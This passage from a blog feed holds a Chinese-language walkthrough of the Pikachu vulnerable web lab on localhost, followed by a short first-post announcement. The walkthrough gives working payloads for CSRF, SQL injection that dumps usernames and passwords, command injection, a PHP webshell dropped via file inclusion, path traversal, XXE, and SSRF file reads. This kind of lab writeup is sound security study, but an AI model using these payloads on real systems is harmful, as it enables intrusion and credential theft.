PoC - generated by Burp Suite Professional --&gt;</span><br><span class="line">  &lt;body&gt;</span><br><span class="line">  &lt;script&gt;history.pushState(&#x27;&#x27;, &#x27;&#x27;, &#x27;/&#x27;)&lt;/script&gt;</span><br><span class="line">    &lt;form action=&quot;http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php&quot;&gt;</span><br><span class="line">      &lt;input type=&quot;hidden&quot; name=&quot;sex&quot; value=&quot;hacker&quot; /&gt;</span><br><span class="line">      &lt;input type=&quot;hidden&quot; name=&quot;phonenum&quot; value=&quot;hacker&quot; /&gt;</span><br><span class="line">      &lt;input type=&quot;hidden&quot; name=&quot;add&quot; value=&quot;hacker&quot; /&gt;</span><br><span class="line">      &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;hacker&quot; /&gt;</span><br><span class="line">      &lt;input type=&quot;hidden&quot; name=&quot;submit&quot; value=&quot;submit&quot; /&gt;</span><br><span class="line">      &lt;input type=&quot;submit&quot; value=&quot;Submit request&quot; /&gt;</span><br><span class="line">    &lt;/form&gt;</span><br><span class="line">  &lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><p>打开链接：<a href="http://burp/show/4/2etstzgrlo1eqv1ef15ihs9u0bxp6ybb">http://burp/show/4/2etstzgrlo1eqv1ef15ihs9u0bxp6ybb</a></p><p>发现成功修改（kobe账户需处于登录状态）</p><p><img src="https://bu.dusays.com/2023/11/03/65450f2f262ca.png"></p><h4 id="2-CSRF-post"><a href="#2-CSRF-post" class="headerlink" title="2.CSRF(post)"></a>2.CSRF(post)</h4><p>改成post传参，其他和1相同，不多赘述</p><h4 id="3-CSRF-Token"><a href="#3-CSRF-Token" class="headerlink" title="3.CSRF Token"></a>3.CSRF Token</h4><p>遇到token还是不会</p><p>搜了一下要用到burp的CSRF Token Tracker插件</p><p><img src="https://bu.dusays.com/2023/11/03/65450f2fdde2f.png"></p><p>添加如图的规则</p><p>然后生成poc</p><h3 id="SQL-Inject"><a href="#SQL-Inject" class="headerlink" title="SQL-Inject"></a>SQL-Inject</h3><h4 id="1-数字型注入"><a href="#1-数字型注入" class="headerlink" title="1.数字型注入"></a>1.数字型注入</h4><p>抓包，直接放playload吧</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">id<span class="operator">=</span><span class="number">-1</span>  <span class="keyword">union</span> <span class="keyword">select</span> database(),<span class="number">2</span><span class="operator">/</span><span class="operator">/</span>爆库名</span><br><span class="line"></span><br><span class="line">id<span class="operator">=</span><span class="number">-1</span> <span class="keyword">union</span> <span class="keyword">select</span> <span class="number">1</span>,group_concat(table_name) <span class="keyword">from</span> information_schema.tables <span class="keyword">where</span> table_schema<span class="operator">=</span>database()<span class="operator">/</span><span class="operator">/</span>爆表名</span><br><span class="line"></span><br><span class="line">id<span class="operator">=</span><span class="number">-1</span> <span class="keyword">union</span> <span class="keyword">select</span> <span class="number">1</span>,group_concat(column_name) <span class="keyword">from</span> information_schema.columns <span class="keyword">where</span> table_name<span class="operator">=</span><span class="string">&#x27;users&#x27;</span><span class="operator">/</span><span class="operator">/</span>爆列名</span><br><span class="line"></span><br><span class="line">id<span class="operator">=</span><span class="number">-1</span> <span class="keyword">union</span> <span class="keyword">select</span> username,password <span class="keyword">from</span> users<span class="operator">/</span><span class="operator">/</span>爆账号密码</span><br></pre></td></tr></table></figure><p><img src="https://bu.dusays.com/2023/11/03/65450f30df172.png"></p><p>爆出来了</p><h4 id="2-字符型注入"><a href="#2-字符型注入" class="headerlink" title="2.字符型注入"></a>2.字符型注入</h4><p>注意闭合，其他和1一样</p><p>playload:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>’<span class="keyword">union</span> <span class="keyword">select</span> username,password <span class="keyword">from</span> users#</span><br></pre></td></tr></table></figure><h4 id="3-搜索型注入"><a href="#3-搜索型注入" class="headerlink" title="3.搜索型注入"></a>3.搜索型注入</h4><p>只是多了一列</p><p>playload:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">&#x27;union select username,password,1 from pikachu.users#</span></span><br></pre></td></tr></table></figure><h4 id="4-XX型注入"><a href="#4-XX型注入" class="headerlink" title="4. XX型注入"></a>4. XX型注入</h4><p>用 ‘) 来闭合</p><p>playlaod:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">&#x27;)union selct username,password from users #</span></span><br></pre></td></tr></table></figure><h4 id="5-insert-update注入"><a href="#5-insert-update注入" class="headerlink" title="5. insert&#x2F;update注入"></a>5. insert&#x2F;update注入</h4><p>没有回显，使用报错注入</p><p>playload:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">&#x27; and extractvalue(1,concat(0x7e,(database()))) and &#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">1</span> </span><br><span class="line"></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=&#x27;</span>pikachu<span class="string">&#x27; limit 0,1)),0) and &#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=&#x27;</span>users<span class="string">&#x27; limit 0,1)),0) and &#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; and updatexml(1,concat(0x7e,(select id from users limit 0,1)),0) and &#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">1</span></span><br></pre></td></tr></table></figure><h4 id="6-Delete注入"><a href="#6-Delete注入" class="headerlink" title="6.Delete注入"></a>6.Delete注入</h4><p>还挺新颖的，留言板无法注入，随便输入，然后删除，抓包</p><p>抓包发现get传了一个id，那么利用id注入，还是用报错注入</p><p>注意：</p><p>一些关键字如#，空格需要进行URL格式转换</p><h4 id="7-http头注入"><a href="#7-http头注入" class="headerlink" title="7.http头注入"></a>7.http头注入</h4><p>根据提示登录抓包，用user-agent进行注入</p><p>playlaod:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27; or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,&#x27;</span><span class="operator">^</span><span class="string">&#x27;,password)) from users),1,31),0x7e),1) or &#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://bu.dusays.com/2023/11/03/65450f31e2046.png"></p><h4 id="8-布尔盲注"><a href="#8-布尔盲注" class="headerlink" title="8.布尔盲注"></a>8.布尔盲注</h4><p>上python脚本吧，把做sql的题目的脚本捡起来改改</p><p><img src="https://bu.dusays.com/2023/11/03/65450f330b8d8.png"></p><p>脚本就是方便啊</p><h4 id="9-延时盲注"><a href="#9-延时盲注" class="headerlink" title="9.延时盲注"></a>9.延时盲注</h4><p>把上面的脚本改改，延时耗时太长了，不赘述了</p><h4 id="10-宽字节注入"><a href="#10-宽字节注入" class="headerlink" title="10. 宽字节注入"></a>10. 宽字节注入</h4><p>lili%df’ or 1&#x3D;2 </p><p>继续改布尔盲注的脚本吧</p><h3 id="RCE"><a href="#RCE" class="headerlink" title="RCE"></a>RCE</h3><h4 id="1-exec-“ping”"><a href="#1-exec-“ping”" class="headerlink" title="1.exec “ping”"></a>1.exec “ping”</h4><p>playload:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ping 127.0.0.1 |whoami</span><br></pre></td></tr></table></figure><h4 id="2-exec-“eval”"><a href="#2-exec-“eval”" class="headerlink" title="2.exec “eval”"></a>2.exec “eval”</h4><p>playload:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">phpinfo();</span><br></pre></td></tr></table></figure><h3 id="File-Inclusion"><a href="#File-Inclusion" class="headerlink" title="File Inclusion"></a>File Inclusion</h3><h4 id="1-本地文件包含"><a href="#1-本地文件包含" class="headerlink" title="1.本地文件包含"></a>1.本地文件包含</h4><p>图片路径可修改，改为..&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;windows&#x2F;win.ini</p><p>成功查win.ini文件，那么我们在本地写一个木马，就能通过这种方式用蚁剑连接了</p><h4 id="2-远程文件包含"><a href="#2-远程文件包含" class="headerlink" title="2.远程文件包含"></a>2.远程文件包含</h4><p>创建一个shell.txt:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> <span class="title function_ invoke__">fputs</span>(<span class="title function_ invoke__">fopen</span>(<span class="string">&#x27;shell.php&#x27;</span>,<span class="string">&#x27;w&#x27;</span>),<span class="string">&#x27;&lt;?php @eval($_POST[leon])  ?&gt; &#x27;</span> ); <span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>playload:</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=G:\phpstudy_pro\WWW\pikachu\vul\fileinclude\shell.txt&amp;submit=%E6%8F%90%E4%BA%A4</span><br></pre></td></tr></table></figure><p><img src="https://bu.dusays.com/2023/11/03/65450f33cd1da.png"></p><p>成功生成shell.php，蚁剑连接</p><h3 id="不安全的文件下载"><a href="#不安全的文件下载" class="headerlink" title="不安全的文件下载"></a>不安全的文件下载</h3><h4 id="1-不安全的文件下载"><a href="#1-不安全的文件下载" class="headerlink" title="1.不安全的文件下载"></a>1.不安全的文件下载</h4><p>想找科比的路径，看到了有意思的东西</p><p><img src="https://bu.dusays.com/2023/11/03/65450f34ac402.png"></p><p>修改路径</p><p><img src="https://bu.dusays.com/2023/11/03/65450f3584d1d.png"></p><p>点击成功下载</p><h3 id="Unsafe-file-upload"><a href="#Unsafe-file-upload" class="headerlink" title="Unsafe file upload"></a>Unsafe file upload</h3><h4 id="1-客户端check"><a href="#1-客户端check" class="headerlink" title="1.客户端check"></a>1.客户端check</h4><p>这里抓包改后缀或者浏览器关闭js都可以，我选择后者</p><h4 id="2-服务端check"><a href="#2-服务端check" class="headerlink" title="2.服务端check"></a>2.服务端check</h4><p>这里直接抓包改后缀就行</p><h4 id="3-getimagesize"><a href="#3-getimagesize" class="headerlink" title="3.getimagesize()"></a>3.getimagesize()</h4><p>大小不对的图片会被打回来，先在正常图片中插入一句话木马，但不会执行php语句，只能结合上上关的文件包含漏洞</p><p>playload:</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/shell.php&amp;submit=%E6%8F%90%E4%BA%A4</span><br></pre></td></tr></table></figure><h3 id="Over-permission"><a href="#Over-permission" class="headerlink" title="Over permission"></a>Over permission</h3><h4 id="1-水平越权"><a href="#1-水平越权" class="headerlink" title="1.水平越权"></a>1.水平越权</h4><p><img src="https://bu.dusays.com/2023/11/03/65450f364fa01.png"></p><p>在url这里把username改成别的用户</p><h4 id="2-垂直越权"><a href="#2-垂直越权" class="headerlink" title="2.垂直越权"></a>2.垂直越权</h4><p>登录admin账户，点击添加账户，并且记住url:</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin_edit.php</span><br></pre></td></tr></table></figure><p>登录普通pikachu账户，然后直接复制上面的链接进行添加账户，再登录admin账户，发现成功添加，那么就存在垂直越权。</p><h3 id=""><a href="#" class="headerlink" title="..&#x2F;..&#x2F;"></a>..&#x2F;..&#x2F;</h3><h4 id="1-目录遍历"><a href="#1-目录遍历" class="headerlink" title="1.目录遍历"></a>1.目录遍历</h4><p>playload:</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../../../../Windows/win.ini</span><br></pre></td></tr></table></figure><h4 id="敏感信息泄露"><a href="#敏感信息泄露" class="headerlink" title="敏感信息泄露"></a>敏感信息泄露</h4><h4 id="1-find-abc"><a href="#1-find-abc" class="headerlink" title="1.find abc"></a>1.find abc</h4><p><img src="https://bu.dusays.com/2023/11/03/65450f3723338.png"></p><p>f12找到账户</p><p><img src="https://bu.dusays.com/2023/11/03/65450f384accc.png"></p><p>黄金时代👍我也很喜欢这一段</p><p><img src="https://bu.dusays.com/2023/11/03/65450f390c059.png"></p><p>可以直接修改url得到敏感信息</p><h3 id="PHP反序列化"><a href="#PHP反序列化" class="headerlink" title="PHP反序列化"></a>PHP反序列化</h3><h4 id="1-PHP反序列化漏洞"><a href="#1-PHP反序列化漏洞" class="headerlink" title="1.PHP反序列化漏洞"></a>1.PHP反序列化漏洞</h4><p>没找到反序列化的代码，试了一下给的playload:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">O:<span class="number">1</span>:<span class="string">&quot;S&quot;</span>:<span class="number">1</span>:&#123;s:<span class="number">4</span>:<span class="string">&quot;test&quot;</span>;s:<span class="number">29</span>:<span class="string">&quot;&lt;script&gt;alert(&#x27;xss&#x27;)&lt;/script&gt;&quot;</span>;&#125;</span><br></pre></td></tr></table></figure><p>发现可以</p><h3 id="XXE"><a href="#XXE" class="headerlink" title="XXE"></a>XXE</h3><h4 id="1-XXE漏洞"><a href="#1-XXE漏洞" class="headerlink" title="1.XXE漏洞"></a>1.XXE漏洞</h4><p>playload:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span>?&gt;</span> </span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">foo</span> [    </span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY <span class="keyword">xxe</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;file:///c:/windows/win.ini&quot;</span> &gt;</span> ]&gt;</span> </span><br><span class="line"><span class="tag">&lt;<span class="name">foo</span>&gt;</span><span class="symbol">&amp;xxe;</span><span class="tag">&lt;/<span class="name">foo</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="url重定向"><a href="#url重定向" class="headerlink" title="url重定向"></a>url重定向</h3><h4 id="1-不安全的url跳转"><a href="#1-不安全的url跳转" class="headerlink" title="1.不安全的url跳转"></a>1.不安全的url跳转</h4><p><img src="https://bu.dusays.com/2023/11/03/65450f39dfdb7.png"></p><p>如图修改，点击则跳转百度</p><h3 id="SSRF"><a href="#SSRF" class="headerlink" title="SSRF"></a>SSRF</h3><h4 id="1-SSRF-curl"><a href="#1-SSRF-curl" class="headerlink" title="1.SSRF(curl)"></a>1.SSRF(curl)</h4><p>playload:</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/Windows/win.ini</span><br></pre></td></tr></table></figure><h4 id="2-SSRF-file-get-content"><a href="#2-SSRF-file-get-content" class="headerlink" title="2.SSRF(file_get_content)"></a>2.SSRF(file_get_content)</h4><p>playload:</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///c:/windows/win.ini</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;YuLin-2023-Recruit-Writeup&quot;&gt;&lt;a href=&quot;#YuLin-2023-Recruit-Writeup&quot; class=&quot;headerlink&quot; title=&quot;YuLin 2023 Recruit Writeup&quot;&gt;&lt;/a&gt;YuLin 20</summary>
      
    
    
    
    <category term="writeup" scheme="https://foreon.github.io/categories/writeup/"/>
    
    
    <category term="ctf" scheme="https://foreon.github.io/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>我的第一篇博客</title>
    <link href="https://foreon.github.io/posts/51727.html"/>
    <id>https://foreon.github.io/posts/51727.html</id>
    <published>2023-11-02T12:15:27.000Z</published>
    <updated>2023-11-03T15:41:37.813Z</updated>
    
    <content type="html"><![CDATA[<h1 id="我开始写博客了！"><a href="#我开始写博客了！" class="headerlink" title="我开始写博客了！"></a>我开始写博客了！</h1><p><strong>此博客诞生于<mark>2023年11月2日</mark>。</strong></p><p><strong>今后我应该会更新一些随笔、ctf比赛writeup和学习总结。</strong></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;我开始写博客了！&quot;&gt;&lt;a href=&quot;#我开始写博客了！&quot; class=&quot;headerlink&quot; title=&quot;我开始写博客了！&quot;&gt;&lt;/a&gt;我开始写博客了！&lt;/h1&gt;&lt;p&gt;&lt;strong&gt;此博客诞生于&lt;mark&gt;2023年11月2日&lt;/mark&gt;。&lt;/strong</summary>
      
    
    
    
    <category term="随笔" scheme="https://foreon.github.io/categories/%E9%9A%8F%E7%AC%94/"/>
    
    
    <category term="打招呼" scheme="https://foreon.github.io/tags/%E6%89%93%E6%8B%9B%E5%91%BC/"/>
    
  </entry>
  
</feed>
